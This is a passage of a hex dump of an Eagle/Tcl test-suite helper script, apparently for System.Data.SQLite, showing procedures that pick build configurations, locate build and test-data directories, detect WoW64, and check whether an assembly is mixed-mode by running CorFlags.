20 20 #.. # 2be0: 20 20 20 20 45 61 67 6c 65 53 68 65 6c 6c 2e 65 EagleShell.e 2bf0: 78 65 20 2d 66 69 6c 65 20 2e 5c 70 61 74 68 5c xe -file .\path\ 2c00: 74 6f 5c 61 6c 6c 2e 65 61 67 6c 65 20 2d 70 72 to\all.eagle -pr 2c10: 65 54 65 73 74 0d 0a 20 20 20 20 20 20 23 20 20 eTest.. # 2c20: 20 20 20 20 20 20 20 22 75 6e 73 65 74 20 2d 6e "unset -n 2c30: 6f 63 6f 6d 70 6c 61 69 6e 20 74 65 73 74 5f 63 ocomplain test_c 2c40: 6f 6e 66 69 67 75 72 61 74 69 6f 6e 22 0d 0a 20 onfiguration".. 2c50: 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 69 66 #.. if 2c60: 20 7b 5b 69 6e 66 6f 20 65 78 69 73 74 73 20 3a {[info exists : 2c70: 3a 74 65 73 74 5f 63 6f 6e 66 69 67 75 72 61 74 :test_configurat 2c80: 69 6f 6e 5d 20 26 26 20 5c 0d 0a 20 20 20 20 20 ion] && \.. 2c90: 20 20 20 20 20 5b 73 74 72 69 6e 67 20 6c 65 6e [string len 2ca0: 67 74 68 20 24 3a 3a 74 65 73 74 5f 63 6f 6e 66 gth$::test_conf 2cb0: 69 67 75 72 61 74 69 6f 6e 5d 20 3e 20 30 7d 20 iguration] > 0} 2cc0: 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 then {.. 2cd0: 23 0d 0a 20 20 20 20 20 20 20 20 23 20 4e 4f 54 #.. # NOT 2ce0: 45 3a 20 55 73 65 20 74 68 65 20 73 70 65 63 69 E: Use the speci 2cf0: 66 69 65 64 20 74 65 73 74 20 63 6f 6e 66 69 67 fied test config 2d00: 75 72 61 74 69 6f 6e 2e 20 20 54 68 65 20 64 65 uration. The de 2d10: 66 61 75 6c 74 20 76 61 6c 75 65 20 75 73 65 64 fault value used 2d20: 0d 0a 20 20 20 20 20 20 20 20 23 20 20 20 20 20 .. # 2d30: 20 20 66 6f 72 20 74 68 69 73 20 76 61 72 69 61 for this varia 2d40: 62 6c 65 20 69 73 20 74 79 70 69 63 61 6c 6c 79 ble is typically 2d50: 20 22 52 65 6c 65 61 73 65 22 2c 20 61 73 20 73 "Release", as s 2d60: 65 74 20 62 79 20 74 68 65 20 74 65 73 74 0d 0a et by the test.. 2d70: 20 20 20 20 20 20 20 20 23 20 20 20 20 20 20 20 # 2d80: 73 75 69 74 65 20 69 74 73 65 6c 66 2e 0d 0a 20 suite itself... 2d90: 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 #.. 2da0: 20 20 72 65 74 75 72 6e 20 24 3a 3a 74 65 73 74 return $::test 2db0: 5f 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 0d 0a _configuration.. 2dc0: 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a } else {.. 2dd0: 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 #.. 2de0: 20 20 20 23 20 4e 4f 54 45 3a 20 4e 6f 72 6d 61 # NOTE: Norma 2df0: 6c 6c 79 2c 20 77 65 20 77 69 6c 6c 20 6e 65 76 lly, we will nev 2e00: 65 72 20 68 69 74 20 74 68 69 73 20 63 61 73 65 er hit this case 2e10: 20 62 65 63 61 75 73 65 20 74 68 65 20 76 61 6c because the val 2e20: 75 65 20 6f 66 20 74 68 65 0d 0a 20 20 20 20 20 ue of the.. 2e30: 20 20 20 23 20 20 20 20 20 20 20 74 65 73 74 20 # test 2e40: 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 76 61 configuration va 2e50: 72 69 61 62 6c 65 20 69 73 20 61 6c 77 61 79 73 riable is always 2e60: 20 73 65 74 20 62 79 20 74 68 65 20 74 65 73 74 set by the test 2e70: 20 73 75 69 74 65 0d 0a 20 20 20 20 20 20 20 20 suite.. 2e80: 23 20 20 20 20 20 20 20 69 74 73 65 6c 66 3b 20 # itself; 2e90: 68 6f 77 65 76 65 72 2c 20 69 74 20 63 61 6e 20 however, it can 2ea0: 62 65 20 6f 76 65 72 72 69 64 64 65 6e 20 75 73 be overridden us 2eb0: 69 6e 67 20 74 68 65 20 75 6e 73 65 74 20 63 6f ing the unset co 2ec0: 6d 6d 61 6e 64 0d 0a 20 20 20 20 20 20 20 20 23 mmand.. # 2ed0: 20 20 20 20 20 20 20 66 72 6f 6d 20 74 68 65 20 from the 2ee0: 2d 70 72 65 54 65 73 74 20 6f 70 74 69 6f 6e 20 -preTest option 2ef0: 74 6f 20 74 68 65 20 74 65 73 74 20 73 75 69 74 to the test suit 2f00: 65 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 e... #.. 2f10: 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 24 3a return$: 2f20: 3a 65 61 67 6c 65 5f 70 6c 61 74 66 6f 72 6d 28 :eagle_platform( 2f30: 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 29 0d 0a configuration).. 2f40: 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 7d 0d 0a }.. }.. 2f50: 0c 0d 0a 20 20 20 20 70 72 6f 63 20 67 65 74 42 ... proc getB 2f60: 75 69 6c 64 43 6f 6e 66 69 67 75 72 61 74 69 6f uildConfiguratio 2f70: 6e 73 20 7b 7d 20 7b 0d 0a 20 20 20 20 20 20 23 ns {} {.. # 2f80: 0d 0a 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 .. # NOTE: 2f90: 53 65 65 20 69 66 20 74 68 65 20 6c 69 73 74 20 See if the list 2fa0: 6f 66 20 74 65 73 74 20 63 6f 6e 66 69 67 75 72 of test configur 2fb0: 61 74 69 6f 6e 73 20 68 61 73 20 62 65 65 6e 20 ations has been 2fc0: 6f 76 65 72 72 69 64 64 65 6e 20 62 79 0d 0a 20 overridden by.. 2fd0: 20 20 20 20 20 23 20 20 20 20 20 20 20 74 68 65 # the 2fe0: 20 75 73 65 72 20 28 65 2e 67 2e 20 6f 6e 20 74 user (e.g. on t 2ff0: 68 65 20 63 6f 6d 6d 61 6e 64 20 6c 69 6e 65 29 he command line) 3000: 2e 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 ... #.. 3010: 20 20 69 66 20 7b 5b 69 6e 66 6f 20 65 78 69 73 if {[info exis 3020: 74 73 20 3a 3a 74 65 73 74 5f 63 6f 6e 66 69 67 ts ::test_config 3030: 75 72 61 74 69 6f 6e 73 5d 20 26 26 20 5c 0d 0a urations] && \.. 3040: 20 20 20 20 20 20 20 20 20 20 5b 6c 6c 65 6e 67 [lleng 3050: 74 68 20 24 3a 3a 74 65 73 74 5f 63 6f 6e 66 69 th $::test_confi 3060: 67 75 72 61 74 69 6f 6e 73 5d 20 3e 20 30 7d 20 gurations] > 0} 3070: 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 then {.. 3080: 23 0d 0a 20 20 20 20 20 20 20 20 23 20 4e 4f 54 #.. # NOT 3090: 45 3a 20 55 73 65 20 74 68 65 20 73 70 65 63 69 E: Use the speci 30a0: 66 69 65 64 20 6c 69 73 74 20 6f 66 20 74 65 73 fied list of tes 30b0: 74 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 73 t configurations 30c0: 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 ... #.. 30d0: 20 20 20 20 20 20 72 65 74 75 72 6e 20 24 3a 3a return$:: 30e0: 74 65 73 74 5f 63 6f 6e 66 69 67 75 72 61 74 69 test_configurati 30f0: 6f 6e 73 0d 0a 20 20 20 20 20 20 7d 20 65 6c 73 ons.. } els 3100: 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a e {.. #.. 3110: 20 20 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 # NOTE: 3120: 55 73 65 20 74 68 65 20 64 65 66 61 75 6c 74 20 Use the default 3130: 6c 69 73 74 20 6f 66 20 74 65 73 74 20 63 6f 6e list of test con 3140: 66 69 67 75 72 61 74 69 6f 6e 73 2e 0d 0a 20 20 figurations... 3150: 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 #.. 3160: 20 72 65 74 75 72 6e 20 5b 6c 69 73 74 20 44 65 return [list De 3170: 62 75 67 20 52 65 6c 65 61 73 65 5d 0d 0a 20 20 bug Release].. 3180: 20 20 20 20 7d 0d 0a 20 20 20 20 7d 0d 0a 0c 0d }.. }.... 3190: 0a 20 20 20 20 70 72 6f 63 20 67 65 74 42 75 69 . proc getBui 31a0: 6c 64 42 61 73 65 44 69 72 65 63 74 6f 72 79 20 ldBaseDirectory 31b0: 7b 7d 20 7b 0d 0a 20 20 20 20 20 20 23 0d 0a 20 {} {.. #.. 31c0: 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 46 69 67 # NOTE: Fig 31d0: 75 72 65 20 6f 75 74 20 74 68 65 20 62 61 73 65 ure out the base 31e0: 20 64 69 72 65 63 74 6f 72 79 20 77 68 65 72 65 directory where 31f0: 20 61 6c 6c 20 74 68 65 20 62 75 69 6c 64 73 20 all the builds 3200: 73 68 6f 75 6c 64 20 62 65 0d 0a 20 20 20 20 20 should be.. 3210: 20 23 20 20 20 20 20 20 20 6c 6f 63 61 74 65 64 # located 3220: 2e 20 20 54 68 69 73 20 77 69 6c 6c 20 62 65 20 . This will be 3230: 74 68 65 20 64 69 72 65 63 74 6f 72 79 20 74 68 the directory th 3240: 61 74 20 63 6f 6e 74 61 69 6e 73 20 74 68 65 20 at contains the 3250: 61 63 74 75 61 6c 0d 0a 20 20 20 20 20 20 23 20 actual.. # 3260: 20 20 20 20 20 20 62 75 69 6c 64 20 6f 75 74 70 build outp 3270: 75 74 20 64 69 72 65 63 74 6f 72 79 20 28 65 2e ut directory (e. 3280: 67 2e 20 70 61 72 65 6e 74 20 6f 66 20 22 62 69 g. parent of "bi 3290: 6e 22 29 2e 0d 0a 20 20 20 20 20 20 23 0d 0a 20 n")... #.. 32a0: 20 20 20 20 20 69 66 20 7b 5b 69 6e 66 6f 20 65 if {[info e 32b0: 78 69 73 74 73 20 3a 3a 62 75 69 6c 64 5f 62 61 xists ::build_ba 32c0: 73 65 5f 64 69 72 65 63 74 6f 72 79 5d 20 26 26 se_directory] && 32d0: 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 5b 73 \.. [s 32e0: 74 72 69 6e 67 20 6c 65 6e 67 74 68 20 24 3a 3a tring length $:: 32f0: 62 75 69 6c 64 5f 62 61 73 65 5f 64 69 72 65 63 build_base_direc 3300: 74 6f 72 79 5d 20 3e 20 30 7d 20 74 68 65 6e 20 tory] > 0} then 3310: 7b 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 {.. #.. 3320: 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 54 68 # NOTE: Th 3330: 65 20 6c 6f 63 61 74 69 6f 6e 20 6f 66 20 74 68 e location of th 3340: 65 20 62 75 69 6c 64 20 62 61 73 65 20 64 69 72 e build base dir 3350: 65 63 74 6f 72 79 20 68 61 73 20 62 65 65 6e 20 ectory has been 3360: 6f 76 65 72 72 69 64 64 65 6e 3b 0d 0a 20 20 20 overridden;.. 3370: 20 20 20 20 20 23 20 20 20 20 20 20 20 74 68 65 # the 3380: 72 65 66 6f 72 65 2c 20 75 73 65 20 69 74 20 76 refore, use it v 3390: 65 72 62 61 74 69 6d 2e 0d 0a 20 20 20 20 20 20 erbatim... 33a0: 20 20 23 0d 0a 20 20 20 20 20 20 20 20 72 65 74 #.. ret 33b0: 75 72 6e 20 24 3a 3a 62 75 69 6c 64 5f 62 61 73 urn$::build_bas 33c0: 65 5f 64 69 72 65 63 74 6f 72 79 0d 0a 20 20 20 e_directory.. 33d0: 20 20 20 7d 20 65 6c 73 65 69 66 20 7b 5b 69 6e } elseif {[in 33e0: 66 6f 20 65 78 69 73 74 73 20 3a 3a 63 6f 6d 6d fo exists ::comm 33f0: 6f 6e 5f 64 69 72 65 63 74 6f 72 79 5d 20 26 26 on_directory] && 3400: 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 5b 73 \.. [s 3410: 74 72 69 6e 67 20 6c 65 6e 67 74 68 20 24 3a 3a tring length $:: 3420: 63 6f 6d 6d 6f 6e 5f 64 69 72 65 63 74 6f 72 79 common_directory 3430: 5d 20 3e 20 30 7d 20 74 68 65 6e 20 7b 0d 0a 20 ] > 0} then {.. 3440: 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 #.. 3450: 20 20 23 20 4e 4f 54 45 3a 20 4e 65 78 74 2c 20 # NOTE: Next, 3460: 66 61 6c 6c 62 61 63 6b 20 74 6f 20 74 68 65 20 fallback to the 3470: 67 72 61 6e 64 70 61 72 65 6e 74 20 64 69 72 65 grandparent dire 3480: 63 74 6f 72 79 20 6f 66 20 74 68 65 20 6f 6e 65 ctory of the one 3490: 0d 0a 20 20 20 20 20 20 20 20 23 20 20 20 20 20 .. # 34a0: 20 20 63 6f 6e 74 61 69 6e 69 6e 67 20 74 68 69 containing thi 34b0: 73 20 66 69 6c 65 20 28 69 2e 65 2e 20 22 63 6f s file (i.e. "co 34c0: 6d 6d 6f 6e 2e 65 61 67 6c 65 22 29 2c 20 69 66 mmon.eagle"), if 34d0: 20 61 76 61 69 6c 61 62 6c 65 2e 0d 0a 20 20 20 available... 34e0: 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 #.. 34f0: 72 65 74 75 72 6e 20 5b 66 69 6c 65 20 64 69 72 return [file dir 3500: 6e 61 6d 65 20 5b 66 69 6c 65 20 64 69 72 6e 61 name [file dirna 3510: 6d 65 20 24 3a 3a 63 6f 6d 6d 6f 6e 5f 64 69 72 me$::common_dir 3520: 65 63 74 6f 72 79 5d 5d 0d 0a 20 20 20 20 20 20 ectory]].. 3530: 7d 20 65 6c 73 65 69 66 20 7b 5b 69 6e 66 6f 20 } elseif {[info 3540: 65 78 69 73 74 73 20 3a 3a 70 61 74 68 5d 20 26 exists ::path] & 3550: 26 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 5b & \.. [ 3560: 73 74 72 69 6e 67 20 6c 65 6e 67 74 68 20 24 3a string length $: 3570: 3a 70 61 74 68 5d 20 3e 20 30 7d 20 74 68 65 6e :path] > 0} then 3580: 20 7b 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 {.. #.. 3590: 20 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 46 # NOTE: F 35a0: 69 6e 61 6c 6c 79 2c 20 66 61 6c 6c 62 61 63 6b inally, fallback 35b0: 20 74 6f 20 74 68 65 20 70 61 72 65 6e 74 20 64 to the parent d 35c0: 69 72 65 63 74 6f 72 79 20 6f 66 20 74 68 65 20 irectory of the 35d0: 45 61 67 6c 65 54 65 73 74 0d 0a 20 20 20 20 20 EagleTest.. 35e0: 20 20 20 23 20 20 20 20 20 20 20 70 61 74 68 2e # path. 35f0: 20 20 54 68 65 20 45 61 67 6c 65 54 65 73 74 20 The EagleTest 3600: 70 61 63 6b 61 67 65 20 67 75 61 72 61 6e 74 65 package guarante 3610: 65 73 20 74 68 61 74 20 74 68 69 73 20 76 61 72 es that this var 3620: 69 61 62 6c 65 0d 0a 20 20 20 20 20 20 20 20 23 iable.. # 3630: 20 20 20 20 20 20 20 77 69 6c 6c 20 62 65 20 73 will be s 3640: 65 74 20 74 6f 20 74 68 65 20 64 69 72 65 63 74 et to the direct 3650: 6f 72 79 20 63 6f 6e 74 61 69 6e 69 6e 67 20 74 ory containing t 3660: 68 65 20 66 69 72 73 74 20 66 69 6c 65 20 74 6f he first file to 3670: 0d 0a 20 20 20 20 20 20 20 20 23 20 20 20 20 20 .. # 3680: 20 20 65 78 65 63 75 74 65 20 74 68 65 20 5b 72 execute the [r 3690: 75 6e 54 65 73 74 50 72 6f 6c 6f 67 75 65 5d 20 unTestPrologue] 36a0: 73 63 72 69 70 74 20 6c 69 62 72 61 72 79 20 70 script library p 36b0: 72 6f 63 65 64 75 72 65 2e 0d 0a 20 20 20 20 20 rocedure... 36c0: 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 72 65 #.. re 36d0: 74 75 72 6e 20 5b 66 69 6c 65 20 64 69 72 6e 61 turn [file dirna 36e0: 6d 65 20 24 3a 3a 70 61 74 68 5d 0d 0a 20 20 20 me$::path].. 36f0: 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 } else {.. 3700: 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 #.. 3710: 23 20 4e 4f 54 45 3a 20 4e 6f 20 70 61 74 68 20 # NOTE: No path 3720: 69 73 20 61 76 61 69 6c 61 62 6c 65 2c 20 72 65 is available, re 3730: 74 75 72 6e 20 61 6e 20 65 6d 70 74 79 20 73 74 turn an empty st 3740: 72 69 6e 67 2e 20 20 54 68 69 73 20 70 6f 69 6e ring. This poin 3750: 74 0d 0a 20 20 20 20 20 20 20 20 23 20 20 20 20 t.. # 3760: 20 20 20 73 68 6f 75 6c 64 20 6e 6f 74 20 62 65 should not be 3770: 20 72 65 61 63 68 65 64 2e 0d 0a 20 20 20 20 20 reached... 3780: 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 72 65 #.. re 3790: 74 75 72 6e 20 22 22 0d 0a 20 20 20 20 20 20 7d turn "".. } 37a0: 0d 0a 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 20 20 .. }..... 37b0: 70 72 6f 63 20 67 65 74 53 51 4c 69 74 65 54 65 proc getSQLiteTe 37c0: 73 74 44 61 74 61 50 61 74 68 20 7b 7d 20 7b 0d stDataPath {} {. 37d0: 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 . #.. 37e0: 23 20 4e 4f 54 45 3a 20 46 69 67 75 72 65 20 6f # NOTE: Figure o 37f0: 75 74 20 74 68 65 20 64 69 72 65 63 74 6f 72 79 ut the directory 3800: 20 77 68 65 72 65 20 61 6c 6c 20 74 68 65 20 74 where all the t 3810: 65 73 74 20 64 61 74 61 20 66 69 6c 65 73 20 73 est data files s 3820: 68 6f 75 6c 64 0d 0a 20 20 20 20 20 20 23 20 20 hould.. # 3830: 20 20 20 20 20 62 65 20 6c 6f 63 61 74 65 64 2e be located. 3840: 20 20 54 68 69 73 20 73 68 6f 75 6c 64 20 62 65 This should be 3850: 20 74 68 65 20 22 64 61 74 61 22 20 64 69 72 65 the "data" dire 3860: 63 74 6f 72 79 20 62 65 6e 65 61 74 68 20 74 68 ctory beneath th 3870: 65 0d 0a 20 20 20 20 20 20 23 20 20 20 20 20 20 e.. # 3880: 20 64 69 72 65 63 74 6f 72 79 20 63 6f 6e 74 61 directory conta 3890: 69 6e 69 6e 67 20 74 68 65 20 61 63 74 75 61 6c ining the actual 38a0: 20 74 65 73 74 20 73 63 72 69 70 74 73 2e 0d 0a test scripts... 38b0: 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 72 #.. r 38c0: 65 74 75 72 6e 20 5b 66 69 6c 65 20 6a 6f 69 6e eturn [file join 38d0: 20 24 3a 3a 70 61 74 68 20 64 61 74 61 5d 0d 0a $::path data].. 38e0: 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 20 20 70 72 }..... pr 38f0: 6f 63 20 69 73 52 75 6e 6e 69 6e 67 57 6f 57 36 oc isRunningWoW6 3900: 34 20 7b 7d 20 7b 0d 0a 20 20 20 20 20 20 23 0d 4 {} {.. #. 3910: 0a 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 46 . # NOTE: F 3920: 6f 72 20 6e 6f 77 2c 20 6a 75 73 74 20 75 73 65 or now, just use 3930: 20 74 68 65 20 65 78 69 73 74 69 6e 67 20 74 65 the existing te 3940: 73 74 20 63 6f 6e 73 74 72 61 69 6e 74 20 66 6f st constraint fo 3950: 72 20 64 65 74 65 63 74 69 6e 67 0d 0a 20 20 20 r detecting.. 3960: 20 20 20 23 20 20 20 20 20 20 20 61 20 57 6f 57 # a WoW 3970: 36 34 20 70 72 6f 63 65 73 73 2e 0d 0a 20 20 20 64 process... 3980: 20 20 20 23 0d 0a 20 20 20 20 20 20 72 65 74 75 #.. retu 3990: 72 6e 20 5b 68 61 76 65 43 6f 6e 73 74 72 61 69 rn [haveConstrai 39a0: 6e 74 20 77 6f 77 36 34 5d 0d 0a 20 20 20 20 7d nt wow64].. } 39b0: 0d 0a 0c 0d 0a 20 20 20 20 70 72 6f 63 20 69 73 ..... proc is 39c0: 4d 69 78 65 64 4d 6f 64 65 41 73 73 65 6d 62 6c MixedModeAssembl 39d0: 79 20 7b 20 66 69 6c 65 4e 61 6d 65 20 7b 76 61 y { fileName {va 39e0: 72 4e 61 6d 65 20 22 22 7d 20 7d 20 7b 0d 0a 20 rName ""} } {.. 39f0: 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 23 20 #.. # 3a00: 4e 4f 54 45 3a 20 46 69 72 73 74 2c 20 6d 61 6b NOTE: First, mak 3a10: 65 20 73 75 72 65 20 74 68 65 20 74 65 73 74 20 e sure the test 3a20: 73 75 69 74 65 20 69 6e 66 72 61 73 74 72 75 63 suite infrastruc 3a30: 74 75 72 65 20 69 73 20 61 6c 6c 6f 77 65 64 20 ture is allowed 3a40: 74 6f 0d 0a 20 20 20 20 20 20 23 20 20 20 20 20 to.. # 3a50: 20 20 75 73 65 20 74 68 65 20 5b 65 78 65 63 5d use the [exec] 3a60: 20 63 6f 6d 6d 61 6e 64 2e 0d 0a 20 20 20 20 20 command... 3a70: 20 23 0d 0a 20 20 20 20 20 20 69 66 20 7b 21 5b #.. if {![ 3a80: 69 6e 66 6f 20 65 78 69 73 74 73 20 3a 3a 6e 6f info exists ::no 3a90: 28 65 78 65 63 29 5d 20 26 26 20 21 5b 69 6e 66 (exec)] && ![inf 3aa0: 6f 20 65 78 69 73 74 73 20 3a 3a 6e 6f 28 63 6f o exists ::no(co 3ab0: 72 46 6c 61 67 73 29 5d 7d 20 74 68 65 6e 20 7b rFlags)]} then { 3ac0: 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 .. #.. 3ad0: 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 49 66 20 # NOTE: If 3ae0: 74 68 65 20 6c 6f 63 61 74 69 6f 6e 20 6f 66 20 the location of 3af0: 43 6f 72 46 6c 61 67 73 20 69 73 20 70 72 65 73 CorFlags is pres 3b00: 65 6e 74 20 69 6e 20 74 68 65 20 65 6e 76 69 72 ent in the envir 3b10: 6f 6e 6d 65 6e 74 2c 0d 0a 20 20 20 20 20 20 20 onment,.. 3b20: 20 23 20 20 20 20 20 20 20 75 73 65 20 69 74 3b # use it; 3b30: 20 6f 74 68 65 72 77 69 73 65 20 61 73 73 75 6d otherwise assum 3b40: 65 20 69 74 20 69 73 20 69 6e 20 74 68 65 20 50 e it is in the P 3b50: 41 54 48 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d ATH... #. 3b60: 0a 20 20 20 20 20 20 20 20 73 65 74 20 63 6f 72 . set cor 3b70: 46 6c 61 67 73 20 5b 65 78 70 72 20 7b 0d 0a 20 Flags [expr {.. 3b80: 20 20 20 20 20 20 20 20 20 5b 69 6e 66 6f 20 65 [info e 3b90: 78 69 73 74 73 20 3a 3a 65 6e 76 28 43 6f 72 46 xists ::env(CorF 3ba0: 6c 61 67 73 29 5d 20 3f 20 24 3a 3a 65 6e 76 28 lags)] ?$::env( 3bb0: 43 6f 72 46 6c 61 67 73 29 20 3a 20 22 43 6f 72 CorFlags) : "Cor 3bc0: 46 6c 61 67 73 22 0d 0a 20 20 20 20 20 20 20 20 Flags".. 3bd0: 7d 5d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 23 0d }].... #. 3be0: 0a 20 20 20 20 20 20 20 20 23 20 4e 4f 54 45 3a . # NOTE: 3bf0: 20 41 74 74 65 6d 70 74 20 74 6f 20 65 78 65 63 Attempt to exec 3c00: 75 74 65 20 43 6f 72 46 6c 61 67 73 20 6f 6e 20 ute CorFlags on 3c10: 74 68 65 20 73 70 65 63 69 66 69 65 64 20 66 69 the specified fi 3c20: 6c 65 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a le... #.. 3c30: 20 20 20 20 20 20 20 20 69 66 20 7b 5b 63 61 74 if {[cat 3c40: 63 68 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 ch {.. 3c50: 65 78 65 63 20 2d 2d 20 24 63 6f 72 46 6c 61 67 exec -- $corFlag 3c60: 73 20 5b 66 69 6c 65 20 6e 61 74 69 76 65 6e 61 s [file nativena 3c70: 6d 65 20 24 66 69 6c 65 4e 61 6d 65 5d 0d 0a 20 me$fileName].. 3c80: 20 20 20 20 20 20 20 7d 20 65 78 65 63 5d 20 3d } exec] = 3c90: 3d 20 30 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 = 0} then {.. 3ca0: 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 #.. 3cb0: 20 20 20 20 23 20 4e 4f 54 45 3a 20 49 66 20 72 # NOTE: If r 3cc0: 65 71 75 65 73 74 65 64 20 62 79 20 6f 75 72 20 equested by our 3cd0: 63 61 6c 6c 65 72 2c 20 61 74 74 65 6d 70 74 20 caller, attempt 3ce0: 74 6f 20 64 65 74 65 72 6d 69 6e 65 20 74 68 65 to determine the 3cf0: 0d 0a 20 20 20 20 20 20 20 20 20 20 23 20 20 20 .. # 3d00: 20 20 20 20 70 6c 61 74 66 6f 72 6d 20 66 6f 72 platform for 3d10: 20 74 68 65 20 73 70 65 63 69 66 69 65 64 20 66 the specified f 3d20: 69 6c 65 20 61 73 20 77 65 6c 6c 2e 0d 0a 20 20 ile as well... 3d30: 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 #.. 3d40: 20 20 20 20 20 69 66 20 7b 5b 73 74 72 69 6e 67 if {[string 3d50: 20 6c 65 6e 67 74 68 20 24 76 61 72 4e 61 6d 65 length $varName 3d60: 5d 20 3e 20 30 7d 20 74 68 65 6e 20 7b 0d 0a 20 ] > 0} then {.. 3d70: 20 20 20 20 20 20 20 20 20 20 20 23 0d 0a 20 20 #.. 3d80: 20 20 20 20 20 20 20 20 20 20 23 20 4e 4f 54 45 # NOTE 3d90: 3a 20 53 74 6f 72 65 20 74 68 65 20 70 6c 61 74 : Store the plat 3da0: 66 6f 72 6d 20 69 6e 20 74 68 65 20 6e 61 6d 65 form in the name 3db0: 64 20 76 61 72 69 61 62 6c 65 20 69 6e 20 74 68 d variable in th 3dc0: 65 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 e.. # 3dd0: 20 20 20 20 20 20 20 63 6f 6e 74 65 78 74 20 6f context o 3de0: 66 20 6f 75 72 20 63 61 6c 6c 65 72 2e 0d 0a 20 f our caller... 3df0: 20 20 20 20 20 20 20 20 20 20 20 23 0d 0a 20 20 #.. 3e00: 20 20 20 20 20 20 20 20 20 20 75 70 76 61 72 20 upvar 3e10: 31 20 24 76 61 72 4e 61 6d 65 20 70 6c 61 74 66 1$varName platf 3e20: 6f 72 6d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 orm.... 3e30: 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 20 20 #.. 3e40: 20 20 23 20 4e 4f 54 45 3a 20 41 74 74 65 6d 70 # NOTE: Attemp 3e50: 74 20 74 6f 20 65 78 74 72 61 63 74 20 74 68 65 t to extract the 3e60: 20 50 45 20 6c 69 6e 65 20 66 72 6f 6d 20 74 68 PE line from th 3e70: 65 20 63 61 70 74 75 72 65 64 0d 0a 20 20 20 20 e captured.. 3e80: 20 20 20 20 20 20 20 20 23 20 20 20 20 20 20 20 # 3e90: 6f 75 74 70 75 74 2e 20 20 49 66 20 74 68 69 73 output. If this 3ea0: 20 76 61 6c 75 65 20 69 73 20 22 50 45 33 32 22 value is "PE32" 3eb0: 20 6f 72 20 22 50 45 33 32 2b 22 2c 20 74 68 65 or "PE32+", the 3ec0: 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 20 .. # 3ed0: 20 20 20 20 20 20 61 73 73 65 6d 62 6c 79 20 66 assembly f 3ee0: 69 6c 65 20 69 73 20 33 32 2d 62 69 74 20 6f 72 ile is 32-bit or 3ef0: 20 36 34 2d 62 69 74 2c 20 72 65 73 70 65 63 74 64-bit, respect 3f00: 69 76 65 6c 79 3b 0d 0a 20 20 20 20 20 20 20 20 ively;.. 3f10: 20 20 20 20 23 20 20 20 20 20 20 20 6f 74 68 65 # othe 3f20: 72 77 69 73 65 2c 20 69 74 73 20 74 79 70 65 20 rwise, its type 3f30: 69 73 20 75 6e 6b 6e 6f 77 6e 2e 0d 0a 20 20 20 is unknown... 3f40: 20 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 #.. 3f50: 20 20 20 20 20 20 20 20 73 65 74 20 70 61 74 74 set patt 3f60: 65 72 6e 20 7b 5e 50 45 20 20 20 20 20 20 20 20 ern {^PE 3f70: 3a 20 28 50 45 33 32 7c 50 45 33 32 5c 2b 29 5c : (PE32|PE32\+)\ 3f80: 73 2b 24 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 s+$}.... 3f90: 20 20 20 20 69 66 20 7b 5b 72 65 67 65 78 70 20 if {[regexp 3fa0: 2d 6c 69 6e 65 20 2d 2d 20 24 70 61 74 74 65 72 -line --$patter 3fb0: 6e 20 24 65 78 65 63 20 64 75 6d 6d 79 20 70 65 n $exec dummy pe 3fc0: 33 32 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 32]} then {.. 3fd0: 20 20 20 20 20 20 20 20 20 20 20 23 0d 0a 20 20 #.. 3fe0: 20 20 20 20 20 20 20 20 20 20 20 20 23 20 48 41 # HA 3ff0: 43 